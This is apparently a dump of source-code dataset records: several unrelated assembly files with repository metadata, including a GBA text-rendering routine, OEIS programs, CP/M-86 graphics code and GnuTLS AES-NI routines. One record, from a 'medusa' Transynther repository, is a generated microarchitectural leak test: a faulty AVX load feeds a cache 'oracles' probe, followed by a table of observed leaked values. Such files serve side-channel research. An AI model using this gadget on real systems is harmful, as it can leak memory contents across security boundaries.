r1,[r3,#0x0] // first letter ldr r0,[sp,#{ctrl_stk}] // if it's a BREAK and we just recycled the previous OAM, we need to account for a special case cmp r1,r0 bls .mr_createsprite ldr r3,[sp,#{letter_stk}] ldrb r0,[r3,#0] cmp r0,#0 bne + bl .replace_BREAK_first_line b .mr_createsprite //------------------------------------------------------------------------------------------- .mr_innerloop: ldr r3,[sp,#0] // start of big inner loop, does all letters in curr line ldrh r1,[r3,#0x0] // code we clobbered ldr r0,[sp,#{ctrl_stk}] cmp r1,r0 bls .mr_createsprite + bl sprite_text_weld.cc_check //orr r0,r1 //strb r0,[r4,#0x3] // this causes trouble with weird letter for some reason ldr r0,[sp,#0x8] mov r1,r6 mov r2,sp add r3,sp,#4 bl $80495C8 b .mr_nextletter // move to the next letter of the current line //------------------------------------------------------------------------------------------- .mr_createsprite: bl sprite_text_weld.create_sprite // (a bunch of code is manually skipped after this) .mr_aftercreatesprite: ldrh r1,[r3,#0] ldrh r0,[r4,#0x4] lsl r0,r0,#0x14 lsr r0,r0,#0x14 ldr r3,[sp,#0x24] mov r7,r5 add r7,#0x85 mov r2,#0x89 add r2,r2,r5 mov r8,r2 mov r2,#0x8B add r2,r2,r5 mov r10,r2 mov r2,#0x8A add r2,r2,r5 // original code mov r9,r2 ldr r2,[sp,#{wbuf_stk}] ldrb r2,[r2,#0xB] // load redraw_flag cmp r2,#0 bne + b .mr_incrementstuff //------------------------------------------------------------------------------------------- + str r3,[sp,#0x28] // took out some code after this line ldr r0,[sp,#0] // this stuff sets up the glyph header/footer info ldr r1,[r0,#0] lsl r1,r1,#0x14 lsr r1,r1,#0x14 // and 0xFFF ldr r2,[r4,#0] lsr r2,r2,#0xC lsl r0,r2,#0xC // and 0xFFFFF000 orr r0,r1 str r0,[r4,#0] mov r2,sp bl sprite_text_weld.store_letter lsr r1,r1,#0x18 ldrb r2,[r7,#0] mov r0,#0xF and r0,r2 orr r0,r1 strb r0,[r7,#0] ldrb r0,[r4,#0x3] mov r2,#0x9 neg r2,r2 mov r1,r2 and r0,r1 strb r0,[r4,#0x3] ldr r1,[sp,#0x18] lsl r1,r1,#0x16 lsr r1,r1,#0x16 // and 0x3FF ldrh r2,[r4,#0x2] lsr r2,r2,#0xA lsl r0,r2,#0xA // and 0xFFFFFC00 orr r0,r1 strh r0,[r4,#0x2] ldr r1,[sp,#0xC] str r1,[r5,#0] // store the target OBJ address in struct header ldrb r1,[r4,#0x3] mov r0,#0x5 neg r0,r0 and r0,r1 strb r0,[r4,#0x3] ldrh r1,[r4,#0] lsl r1,r1,#0x14 lsr r1,r1,#0x14 // and 0xFFF ldr r3,[sp,#0x28] ldrh r2,[r3,#0] lsr r2,r2,#0xC lsl r0,r2,#0xC // and 0xFFFFF000 orr r0,r1 strh r0,[r3,#0] ldrb r1,[r7,#0] lsr r1,r1,#0x4 lsl r1,r1,#0x4 mov r3,r8 ldrb r2,[r3,#0] mov r0,#0xF and r0,r2 orr r0,r1 strb r0,[r3,#0] ldrh r1,[r4,#0x2] lsl r1,r1,#0x16 lsr r1,r1,#0x16 // and 0x3FF mov r2,r9 ldrh r0,[r2,#0] lsr r0,r0,#0xA lsl r0,r0,#0xA // and 0xFFFFFC00 orr r0,r1 strh r0,[r2,#0] ldrb r1,[r6,#0x10] lsr r1,r1,#0x7 lsl r1,r1,#0x2 mov r3,r10 ldrb r2,[r3,#0] mov r0,#0x5 neg r0,r0 and r0,r2 orr r0,r1 strb r0,[r3,#0] ldr r0,[sp,#0] ldrh r1,[r0,#0] mov r0,r5 bl $80496F8 // eventually calls routine to draw font, copy to struct //------------------------------------------------------------------------------------------- .mr_incrementstuff: ldr r1,[sp,#{letter_stk}] ldrb r0,[r1,#0] add r0,#1 strb r0,[r1,#0] bl sprite_text_weld.save_letters_width bl sprite_text_weld.add_width // took out some code after here ldr r0,[sp,#{wbuf_stk}] // get the sprite total ldrb r0,[r0,#0x4] cmp r0,#0x5F bhi .mr_exit .mr_nextletter: ldr r0,[sp,#0x14] add r0,#1 lsl r0,r0,#0x10 lsr r0,r0,#0x10 str r0,[sp,#0x14] ldr r0,[sp,#0] add r0,#2 str r0,[sp,#0] bl .restore_old_first_line ldr r0,[sp,#0x14] ldrh r1,[r6,#0xE] cmp r0,r1 bcs .mr_eos b .mr_innerloop //------------------------------------------------------------------------------------------- .mr_eos: bl sprite_text_weld.eos_stuff .after_eos: ldr r0,[sp,#8] mov r1,#0 bl $8049C70 // setup the end of printing an oam entry mov r0,sp bl .save_entry_info mov r0,sp bl .reset_data_redrawing ldr r0,[sp,#0x10] add r0,#1 lsl r0,r0,#0x10 lsr r0,r0,#0x10 str r0,[sp,#0x10] add r6,#0x14 ldr r0,[sp,#{numstr_stk}] ldr r0,[r0,#0] ldr r7,[sp,#0x10] ldrb r0,[r0,#0x9] cmp r7,r0 bcs .mr_exit b .mr_outerloop // loop back if not done with all the lines yet //------------------------------------------------------------------------------------------- .mr_exit: ldr r2,=#0x2016028 bl sprite_text_weld.clear_unused_table_stuff bl .convert_1bpp_4bpp ldr r1,[sp,#0x1C] ldr r3,[sp,#0x20] sub r0,r1,r3 lsr r0,r0,#3 ldrh r1,[r2,#0] add r1,r1,r0 ldrh r0,[r2,#0] strh r1,[r2,#0] add sp,#{sprite_text_weld_stack_size} // currently 0xF8 pop {r3-r5} mov r8,r3 mov r9,r4 mov r10,r5 pop {r4-r7} pop {r0} bx r0
28.573302
137
0.521376
46a6922b7c0280460abff3f04884d33b5f824abf
436
asm
Assembly
instructions/a.asm
zrsharp/assembly
e9d68311e7a37b7fec042b8f7de3ed9b537996b8
[ "MIT" ]
null
null
null
instructions/a.asm
zrsharp/assembly
e9d68311e7a37b7fec042b8f7de3ed9b537996b8
[ "MIT" ]
null
null
null
instructions/a.asm
zrsharp/assembly
e9d68311e7a37b7fec042b8f7de3ed9b537996b8
[ "MIT" ]
null
null
null
data segment number dw Y addr dw number count dw ? data ends prog segment main proc far assume cs:prog, ds:data _start: push ds xor ax, ax push ax mov ax, data mov ds, ax xor cx, cx mov bx, addr mov ax, [bx] _repeat: test ax, 0ffffh jz _exit jns _shift inc cx _shift: shl ax, 1 jmp _repeat _exit: mov count, ax ret main endp prog ends end _start
11.783784
27
0.587156
568f9f53c5ac4ae57ef1d52671d957ee84cb877b
5,725
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2_notsx.log_1514_86.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2_notsx.log_1514_86.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2_notsx.log_1514_86.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %rax push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x8431, %rdx nop nop nop dec %rcx mov (%rdx), %rbp add %rbx, %rbx lea addresses_WT_ht+0x10e31, %r13 nop nop nop nop nop and %r11, %r11 movl $0x61626364, (%r13) nop xor $35932, %rbp lea addresses_WC_ht+0x5784, %rcx nop nop nop and %rdx, %rdx movups (%rcx), %xmm6 vpextrq $1, %xmm6, %rbx xor $43241, %rbx lea addresses_WC_ht+0x1a431, %rsi lea addresses_A_ht+0x1cc31, %rdi nop nop nop nop nop and %rdx, %rdx mov $37, %rcx rep movsl nop sub $54143, %r13 lea addresses_A_ht+0xccc5, %rsi lea addresses_D_ht+0x5fb1, %rdi nop nop cmp %r11, %r11 mov $30, %rcx rep movsb nop nop add $2869, %r13 lea addresses_WT_ht+0x10431, %rcx nop nop nop nop add %rbx, %rbx mov (%rcx), %rax nop nop nop nop nop add %rcx, %rcx lea addresses_WC_ht+0xa31, %rsi lea addresses_D_ht+0x16031, %rdi nop nop nop sub %rax, %rax mov $126, %rcx rep movsq nop add %r13, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %r8 push %rax push %rdx // Faulty Load mov $0x431, %r15 nop nop nop nop xor $25170, %rdx vmovaps (%r15), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %r8 lea oracles, %r13 and $0xff, %r8 shlq $12, %r8 mov (%r13,%r8,1), %r8 pop %rdx pop %rax pop %r8 pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}} {'48': 449, '00': 1065} 48 48 00 00 48 00 00 48 00 00 00 00 00 48 00 00 48 00 00 48 48 00 00 48 00 00 00 00 00 48 00 48 00 00 48 48 48 00 00 00 00 48 00 00 00 00 00 00 00 48 48 00 00 00 00 48 00 48 00 00 48 48 00 00 48 00 00 00 00 00 00 48 00 00 00 00 48 48 00 48 00 00 00 00 00 00 00 48 00 00 48 48 00 48 00 00 00 00 48 48 00 48 48 48 48 00 00 00 00 48 00 00 00 48 00 48 00 00 00 00 00 48 00 00 00 48 48 00 00 00 00 00 00 00 00 00 48 00 48 48 00 00 00 00 00 00 00 00 00 00 00 48 00 00 48 48 48 00 00 00 00 00 00 00 00 00 00 48 48 48 00 00 00 48 00 00 48 00 00 00 48 48 00 00 00 48 00 00 48 00 48 00 00 00 48 00 00 48 00 48 00 00 48 00 00 00 00 48 00 48 48 00 00 00 00 00 00 00 48 00 00 48 00 00 48 00 00 00 00 00 48 00 48 00 00 00 00 00 00 00 00 48 00 48 48 00 00 00 00 48 00 00 00 00 00 48 00 00 48 00 00 48 00 00 48 00 48 48 00 00 48 00 00 00 00 00 48 48 00 00 00 00 00 00 48 00 00 48 48 00 00 48 00 48 00 00 00 00 00 48 00 00 00 48 48 00 00 00 48 00 00 00 00 48 00 00 00 00 48 00 48 00 00 00 00 48 00 00 00 00 48 48 00 00 48 00 00 00 48 00 00 00 48 00 00 00 00 00 00 00 00 00 48 00 00 48 00 00 00 00 48 00 48 00 00 00 00 00 00 00 00 00 48 00 00 00 00 00 00 48 00 48 48 48 48 00 00 00 48 48 00 48 00 00 48 00 00 48 00 48 48 00 00 00 00 00 00 00 00 00 48 00 48 00 00 00 00 48 00 00 00 48 00 48 00 48 00 00 00 48 48 00 00 00 00 00 00 00 00 00 00 00 00 00 48 48 00 00 48 00 00 48 00 48 48 00 48 00 00 00 00 48 00 48 00 00 00 00 48 48 00 00 00 48 48 48 48 00 00 00 00 00 00 00 00 00 48 00 48 48 00 48 00 00 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 00 48 00 48 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 00 48 00 00 00 00 48 48 00 00 00 48 48 00 48 00 00 00 48 48 00 00 48 00 00 48 48 48 00 00 00 00 00 00 00 00 00 48 00 00 00 00 48 48 00 48 00 00 48 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 00 00 48 00 00 48 00 48 00 00 48 48 48 00 48 00 00 48 00 00 00 00 48 00 48 00 48 00 48 48 00 00 00 00 48 00 00 00 00 00 48 00 48 48 48 48 00 00 00 00 48 48 00 00 00 00 48 48 00 00 48 48 00 48 00 00 00 00 00 48 00 00 00 00 00 48 48 48 48 48 00 00 00 48 00 00 48 00 00 48 00 00 00 00 00 48 00 00 00 00 48 00 48 48 00 00 00 48 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 48 48 48 00 48 48 00 00 00 00 48 00 00 00 00 00 00 48 48 00 00 48 00 00 00 48 00 48 00 48 48 00 00 00 00 00 48 00 48 00 00 48 48 00 00 48 48 00 00 00 00 48 00 48 00 48 00 00 48 00 00 00 00 00 00 00 00 00 00 48 00 48 48 00 00 48 00 48 00 48 00 00 00 00 48 00 00 00 48 48 48 48 00 00 00 48 00 48 00 48 00 00 00 48 48 00 00 00 48 00 00 00 00 48 00 00 00 00 00 00 00 00 00 00 48 48 00 48 00 00 00 00 48 48 00 00 00 48 00 48 00 00 48 00 00 48 00 48 00 00 00 00 48 48 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 00 00 48 48 00 00 48 00 00 00 48 48 00 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 48 48 00 48 48 00 00 00 00 00 48 00 00 48 48 00 00 00 00 00 00 48 00 00 48 00 48 00 48 00 48 48 00 48 00 00 48 48 48 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 48 00 48 00 */
40.602837
2,999
0.657991
a7dc89653d63881df66fe139cb25d3edaa9fd3c9
706
asm
Assembly
oeis/006/A006490.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/006/A006490.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/006/A006490.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A006490: a(1) = 1, a(2) = 0; for n > 2, a(n) = n*Fibonacci(n-2) (with the convention Fibonacci(0)=0, Fibonacci(1)=1). ; 1,0,3,4,10,18,35,64,117,210,374,660,1157,2016,3495,6032,10370,17766,30343,51680,87801,148830,251758,425064,716425,1205568,2025675,3399004,5696122,9534330,15941099,26625280,44426877,74062506,123360230,205303932,341416205,567353376,942154863,1563526760,2593085426,4298034510,7119946063,11788229024,19507249665,32264801718,53340448990,88142971344,145589538577,240376348800,396715844499,654485989300,1079345586922,1779369125346,2932396014515,4830983991232,7956280159365,13099383155586,21560682473558 mov $1,1 mov $3,$0 lpb $0 sub $0,1 add $3,$1 mov $1,$2 mov $2,$3 lpe mov $0,$1
54.307692
497
0.779037
28926abf586cad24e30eee0885b98a47e3aa675c
516
asm
Assembly
programs/oeis/158/A158948.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/158/A158948.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/158/A158948.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A158948: Triangle read by rows, left border = natural numbers repeated (1, 1, 2, 2, 3, 3,...); all other columns = (1, 0, 1, 0, 1, 0,...). ; 1,1,1,2,0,1,2,1,0,1,3,0,1,0,1,3,1,0,1,0,1,4,0,1,0,1,0,1,4,1,0,1,0,1,0,1,5,0,1,0,1,0,1,0,1,5,1,0,1,0,1,0,1,0,1 mov $3,2 mov $5,$0 lpb $3,1 mov $0,$5 sub $3,1 add $0,$3 sub $0,1 cal $0,4202 ; Skip 1, take 1, skip 2, take 2, skip 3, take 3, etc. div $0,2 mov $2,$3 mov $4,$0 lpb $2,1 mov $1,$4 sub $2,1 lpe lpe lpb $5,1 sub $1,$4 mov $5,0 lpe
21.5
140
0.521318
6c0a964f80c4f1827216a40df0ecf1784a0344b3
1,501
asm
Assembly
gfx.asm
bocke/cpm86-hacking
4e17a8261cd3dd31acc8341ac9b414565b5fd3c5
[ "MIT" ]
7
2021-01-18T22:00:55.000Z
2022-01-20T01:19:58.000Z
gfx.asm
bocke/cpm86-hacking
4e17a8261cd3dd31acc8341ac9b414565b5fd3c5
[ "MIT" ]
3
2021-10-08T13:52:57.000Z
2021-10-08T21:04:12.000Z
gfx.asm
tsupplis/cpm86-hacking
10b124838bd074b329e11e23b9122d62e6c98bb5
[ "MIT" ]
null
null
null
; ; Licensed under the MIT license. See LICENSE file in the project root for details. ; codeseg segment para public 'code' assume cs:codeseg public gfx_palette_ gfx_palette_ proc near push bp mov bp,sp push bx push dx mov bx,word ptr 4[bp] xor al,al mov ah,0Bh int 10h pop dx pop bx pop bp xor ax,ax ret gfx_palette_ endp public gfx_pixel_ public gfx_mode_ gfx_mode_ proc near push bp mov bp,sp mov al,byte ptr 4[bp] xor ah,ah int 10h pop bp xor ax,ax ret gfx_mode_ endp public gfx_pixel_ gfx_pixel_ proc near push bp mov bp,sp push di push si push bx push cx push dx mov ah, 0ch mov al, byte ptr 8[bp] mov bh, 0 mov cx, word ptr 4[bp] mov dx, word ptr 6[bp] int 10h pop dx pop cx pop bx pop si pop di pop bp xor ax,ax ret gfx_pixel_ endp codeseg ends end
23.453125
85
0.383744
20c7262449fe9f370e65ab690921217eefc067d4
229
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/frexp_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/frexp_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/frexp_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math32 PUBLIC frexp_callee EXTERN cm32_sccz80_frexp_callee defc frexp_callee = cm32_sccz80_frexp_callee ; SDCC bridge for Classic IF __CLASSIC PUBLIC _frexp_callee defc _frexp_callee = frexp_callee ENDIF
15.266667
45
0.842795
76c0219357e65aa87455cc6235c79aadc8538ddc
40,182
asm
Assembly
code/gnutls/SMP/lib/accelerated/x86/coff/aesni-x86.asm
timkingh/FFmpeg_VS
993b14dc146731d782cf4b5fffc6a0f4b9aeea0c
[ "MIT" ]
null
null
null
code/gnutls/SMP/lib/accelerated/x86/coff/aesni-x86.asm
timkingh/FFmpeg_VS
993b14dc146731d782cf4b5fffc6a0f4b9aeea0c
[ "MIT" ]
null
null
null
code/gnutls/SMP/lib/accelerated/x86/coff/aesni-x86.asm
timkingh/FFmpeg_VS
993b14dc146731d782cf4b5fffc6a0f4b9aeea0c
[ "MIT" ]
null
null
null
%ifidn __OUTPUT_FORMAT__,obj section code use32 class=code align=64 %elifidn __OUTPUT_FORMAT__,win32 %ifndef __YASM_VER__ $@feat.00 equ 1 %endif section .text code align=64 %else section .text code %endif global _aesni_encrypt align 16 _aesni_encrypt: L$_aesni_encrypt_begin: mov eax,DWORD [4+esp] mov edx,DWORD [12+esp] movups xmm2,[eax] mov ecx,DWORD [240+edx] mov eax,DWORD [8+esp] movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$000enc1_loop_1: db 102,15,56,220,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$000enc1_loop_1 db 102,15,56,221,209 movups [eax],xmm2 ret global _aesni_decrypt align 16 _aesni_decrypt: L$_aesni_decrypt_begin: mov eax,DWORD [4+esp] mov edx,DWORD [12+esp] movups xmm2,[eax] mov ecx,DWORD [240+edx] mov eax,DWORD [8+esp] movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$001dec1_loop_2: db 102,15,56,222,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$001dec1_loop_2 db 102,15,56,223,209 movups [eax],xmm2 ret align 16 __aesni_encrypt3: movups xmm0,[edx] shr ecx,1 movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 pxor xmm3,xmm0 pxor xmm4,xmm0 movups xmm0,[edx] L$002enc3_loop: db 102,15,56,220,209 db 102,15,56,220,217 dec ecx db 102,15,56,220,225 movups xmm1,[16+edx] db 102,15,56,220,208 db 102,15,56,220,216 lea edx,[32+edx] db 102,15,56,220,224 movups xmm0,[edx] jnz NEAR L$002enc3_loop db 102,15,56,220,209 db 102,15,56,220,217 db 102,15,56,220,225 db 102,15,56,221,208 db 102,15,56,221,216 db 102,15,56,221,224 ret align 16 __aesni_decrypt3: movups xmm0,[edx] shr ecx,1 movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 pxor xmm3,xmm0 pxor xmm4,xmm0 movups xmm0,[edx] L$003dec3_loop: db 102,15,56,222,209 db 102,15,56,222,217 dec ecx db 102,15,56,222,225 movups xmm1,[16+edx] db 102,15,56,222,208 db 102,15,56,222,216 lea edx,[32+edx] db 102,15,56,222,224 movups xmm0,[edx] jnz NEAR L$003dec3_loop db 102,15,56,222,209 db 102,15,56,222,217 db 102,15,56,222,225 db 102,15,56,223,208 db 102,15,56,223,216 db 102,15,56,223,224 ret align 16 __aesni_encrypt4: movups xmm0,[edx] movups xmm1,[16+edx] shr ecx,1 lea edx,[32+edx] xorps xmm2,xmm0 pxor xmm3,xmm0 pxor xmm4,xmm0 pxor xmm5,xmm0 movups xmm0,[edx] L$004enc4_loop: db 102,15,56,220,209 db 102,15,56,220,217 dec ecx db 102,15,56,220,225 db 102,15,56,220,233 movups xmm1,[16+edx] db 102,15,56,220,208 db 102,15,56,220,216 lea edx,[32+edx] db 102,15,56,220,224 db 102,15,56,220,232 movups xmm0,[edx] jnz NEAR L$004enc4_loop db 102,15,56,220,209 db 102,15,56,220,217 db 102,15,56,220,225 db 102,15,56,220,233 db 102,15,56,221,208 db 102,15,56,221,216 db 102,15,56,221,224 db 102,15,56,221,232 ret align 16 __aesni_decrypt4: movups xmm0,[edx] movups xmm1,[16+edx] shr ecx,1 lea edx,[32+edx] xorps xmm2,xmm0 pxor xmm3,xmm0 pxor xmm4,xmm0 pxor xmm5,xmm0 movups xmm0,[edx] L$005dec4_loop: db 102,15,56,222,209 db 102,15,56,222,217 dec ecx db 102,15,56,222,225 db 102,15,56,222,233 movups xmm1,[16+edx] db 102,15,56,222,208 db 102,15,56,222,216 lea edx,[32+edx] db 102,15,56,222,224 db 102,15,56,222,232 movups xmm0,[edx] jnz NEAR L$005dec4_loop db 102,15,56,222,209 db 102,15,56,222,217 db 102,15,56,222,225 db 102,15,56,222,233 db 102,15,56,223,208 db 102,15,56,223,216 db 102,15,56,223,224 db 102,15,56,223,232 ret align 16 __aesni_encrypt6: movups xmm0,[edx] shr ecx,1 movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 pxor xmm3,xmm0 db 102,15,56,220,209 pxor xmm4,xmm0 db 102,15,56,220,217 pxor xmm5,xmm0 dec ecx db 102,15,56,220,225 pxor xmm6,xmm0 db 102,15,56,220,233 pxor xmm7,xmm0 db 102,15,56,220,241 movups xmm0,[edx] db 102,15,56,220,249 jmp NEAR L$_aesni_encrypt6_enter align 16 L$006enc6_loop: db 102,15,56,220,209 db 102,15,56,220,217 dec ecx db 102,15,56,220,225 db 102,15,56,220,233 db 102,15,56,220,241 db 102,15,56,220,249 align 16 L$_aesni_encrypt6_enter: movups xmm1,[16+edx] db 102,15,56,220,208 db 102,15,56,220,216 lea edx,[32+edx] db 102,15,56,220,224 db 102,15,56,220,232 db 102,15,56,220,240 db 102,15,56,220,248 movups xmm0,[edx] jnz NEAR L$006enc6_loop db 102,15,56,220,209 db 102,15,56,220,217 db 102,15,56,220,225 db 102,15,56,220,233 db 102,15,56,220,241 db 102,15,56,220,249 db 102,15,56,221,208 db 102,15,56,221,216 db 102,15,56,221,224 db 102,15,56,221,232 db 102,15,56,221,240 db 102,15,56,221,248 ret align 16 __aesni_decrypt6: movups xmm0,[edx] shr ecx,1 movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 pxor xmm3,xmm0 db 102,15,56,222,209 pxor xmm4,xmm0 db 102,15,56,222,217 pxor xmm5,xmm0 dec ecx db 102,15,56,222,225 pxor xmm6,xmm0 db 102,15,56,222,233 pxor xmm7,xmm0 db 102,15,56,222,241 movups xmm0,[edx] db 102,15,56,222,249 jmp NEAR L$_aesni_decrypt6_enter align 16 L$007dec6_loop: db 102,15,56,222,209 db 102,15,56,222,217 dec ecx db 102,15,56,222,225 db 102,15,56,222,233 db 102,15,56,222,241 db 102,15,56,222,249 align 16 L$_aesni_decrypt6_enter: movups xmm1,[16+edx] db 102,15,56,222,208 db 102,15,56,222,216 lea edx,[32+edx] db 102,15,56,222,224 db 102,15,56,222,232 db 102,15,56,222,240 db 102,15,56,222,248 movups xmm0,[edx] jnz NEAR L$007dec6_loop db 102,15,56,222,209 db 102,15,56,222,217 db 102,15,56,222,225 db 102,15,56,222,233 db 102,15,56,222,241 db 102,15,56,222,249 db 102,15,56,223,208 db 102,15,56,223,216 db 102,15,56,223,224 db 102,15,56,223,232 db 102,15,56,223,240 db 102,15,56,223,248 ret global _aesni_ecb_encrypt align 16 _aesni_ecb_encrypt: L$_aesni_ecb_encrypt_begin: push ebp push ebx push esi push edi mov esi,DWORD [20+esp] mov edi,DWORD [24+esp] mov eax,DWORD [28+esp] mov edx,DWORD [32+esp] mov ebx,DWORD [36+esp] and eax,-16 jz NEAR L$008ecb_ret mov ecx,DWORD [240+edx] test ebx,ebx jz NEAR L$009ecb_decrypt mov ebp,edx mov ebx,ecx cmp eax,96 jb NEAR L$010ecb_enc_tail movdqu xmm2,[esi] movdqu xmm3,[16+esi] movdqu xmm4,[32+esi] movdqu xmm5,[48+esi] movdqu xmm6,[64+esi] movdqu xmm7,[80+esi] lea esi,[96+esi] sub eax,96 jmp NEAR L$011ecb_enc_loop6_enter align 16 L$012ecb_enc_loop6: movups [edi],xmm2 movdqu xmm2,[esi] movups [16+edi],xmm3 movdqu xmm3,[16+esi] movups [32+edi],xmm4 movdqu xmm4,[32+esi] movups [48+edi],xmm5 movdqu xmm5,[48+esi] movups [64+edi],xmm6 movdqu xmm6,[64+esi] movups [80+edi],xmm7 lea edi,[96+edi] movdqu xmm7,[80+esi] lea esi,[96+esi] L$011ecb_enc_loop6_enter: call __aesni_encrypt6 mov edx,ebp mov ecx,ebx sub eax,96 jnc NEAR L$012ecb_enc_loop6 movups [edi],xmm2 movups [16+edi],xmm3 movups [32+edi],xmm4 movups [48+edi],xmm5 movups [64+edi],xmm6 movups [80+edi],xmm7 lea edi,[96+edi] add eax,96 jz NEAR L$008ecb_ret L$010ecb_enc_tail: movups xmm2,[esi] cmp eax,32 jb NEAR L$013ecb_enc_one movups xmm3,[16+esi] je NEAR L$014ecb_enc_two movups xmm4,[32+esi] cmp eax,64 jb NEAR L$015ecb_enc_three movups xmm5,[48+esi] je NEAR L$016ecb_enc_four movups xmm6,[64+esi] xorps xmm7,xmm7 call __aesni_encrypt6 movups [edi],xmm2 movups [16+edi],xmm3 movups [32+edi],xmm4 movups [48+edi],xmm5 movups [64+edi],xmm6 jmp NEAR L$008ecb_ret align 16 L$013ecb_enc_one: movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$017enc1_loop_3: db 102,15,56,220,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$017enc1_loop_3 db 102,15,56,221,209 movups [edi],xmm2 jmp NEAR L$008ecb_ret align 16 L$014ecb_enc_two: xorps xmm4,xmm4 call __aesni_encrypt3 movups [edi],xmm2 movups [16+edi],xmm3 jmp NEAR L$008ecb_ret align 16 L$015ecb_enc_three: call __aesni_encrypt3 movups [edi],xmm2 movups [16+edi],xmm3 movups [32+edi],xmm4 jmp NEAR L$008ecb_ret align 16 L$016ecb_enc_four: call __aesni_encrypt4 movups [edi],xmm2 movups [16+edi],xmm3 movups [32+edi],xmm4 movups [48+edi],xmm5 jmp NEAR L$008ecb_ret align 16 L$009ecb_decrypt: mov ebp,edx mov ebx,ecx cmp eax,96 jb NEAR L$018ecb_dec_tail movdqu xmm2,[esi] movdqu xmm3,[16+esi] movdqu xmm4,[32+esi] movdqu xmm5,[48+esi] movdqu xmm6,[64+esi] movdqu xmm7,[80+esi] lea esi,[96+esi] sub eax,96 jmp NEAR L$019ecb_dec_loop6_enter align 16 L$020ecb_dec_loop6: movups [edi],xmm2 movdqu 